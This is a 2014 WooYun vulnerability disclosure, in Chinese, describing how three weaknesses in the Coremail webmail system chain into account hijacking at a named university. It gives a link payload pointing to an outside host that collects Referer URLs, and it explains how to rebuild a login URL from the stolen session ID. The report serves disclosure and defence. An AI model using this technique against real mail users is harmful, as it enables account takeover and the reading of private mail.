漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-062137
漏洞标题:Coremail邮件系统漏洞无脚本攻击劫持指定用户账号
相关厂商:Coremail盈世信息科技(北京)有限公司
漏洞作者: mramydnei
提交时间:2014-05-24 14:10
修复时间:2014-08-22 14:12
公开时间:2014-08-22 14:12
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:20
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-05-24: 细节已通知厂商并且等待厂商处理中
2014-05-26: 厂商已经确认,细节仅向厂商公开
2014-05-29: 细节向第三方安全合作伙伴开放
2014-07-20: 细节向核心白帽子及相关领域专家公开
2014-07-30: 细节向普通白帽子公开
2014-08-09: 细节向实习白帽子公开
2014-08-22: 细节向公众公开
简要描述:
几个小的问题的组合导致可劫持指定用户账号
详细说明:
测试对象: 使用Coremail邮件系统的某大学邮件系统
测试地址: http://mail.**.edu.cn
问题描述: 这个问题由几个小问题的组合所导致。
第一个问题:
Coremail邮件系统在用户登录成功后,会给用户分配一个32位大小写字母混搭的sid用于用户身份验证。只要用户没有logout,这个sid都不会被销毁且会作为参数出现在用户主界面的URL里,如下图所示。我们一旦获取了sid,就意味着我们可以盗用用户身份去登录用户邮箱。
第二个问题:
就像第一个问题描述的那样,很多用于验证权限的参数和参数的值都会通过URL进行传递。当我们在邮件中插入我们远程服务器上的图片,如下图:
并试图从referer中获取当前邮件的ssid,mid等等时发现获取的referer是空的。
继续再换一个方法,我们放弃插入图片,改用Anchor:
<a href="//x55.me/ref.php">click me babe</a>
当用户点击我们加入到到邮件里的链接后,从下图可以看到我们获取了完整的URL,如下图:
URL当中包含了,我们需要阅读这封邮件时的各种验证参数及其值。我们现在切换浏览器试图打开我们收到的referer。测试结果可成功读取邮件内容,如下图:
这里你可能会觉得,读取了自己发送的邮件有什么用。请慢慢往下看。
第三个问题
在问题二中,我们试图加入网络图片在邮件当中。现在我们试试上传本地图片功能。我们现在通过上传图片功能在邮件里上传一个图片并发送给受害者。最后再来看看邮件源码里的图片的地址。
从图中不难想像这里做了一个权限验证。如果你想要访问我们服务器上的被上传的文件,最起码你得是我们的用户。所以就要验证一下sid。
现在我们将这三个问题整合一下,描述一下大概的攻击流程:
1.给目标用户发送一个邮件。邮件里添加一个超级链接,地址为: http://x55.me/ref.php
ref.php的内容很简单:
这一步是为了通过远程图片,获取referer进而盗取当前邮件的ssid,mid等等进而达到阅读用户邮件的目的。
然后我们在邮件里,通过上传本地图片的方式,上传一个图片文件。这一步骤是为了,让邮件里包含用户的sid。这样一来我们在越权阅读邮件时就可以窃取到用户sid进而劫持用户账号了。
漏洞证明:
发送符合上述描述的邮件:
用户点击后,查看收到的referer:
在别的浏览器里打开referer中的URL,查看html源码里的sid:
最后构造URL:mail.szu.edu.cn/coremail/XJS/index.jsp?sid=这里是刚才截获的sid
,并成功登录
修复方案:
暂无
版权声明:转载请注明来源 mramydnei@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2014-05-26 11:04
厂商回复:
相关系统因为某种配置原因降低了默认安全级别,导致内部可信任用户之间通信安全检查降低,已针对性建议相关客户提高安全策略配置。
最新状态:
暂无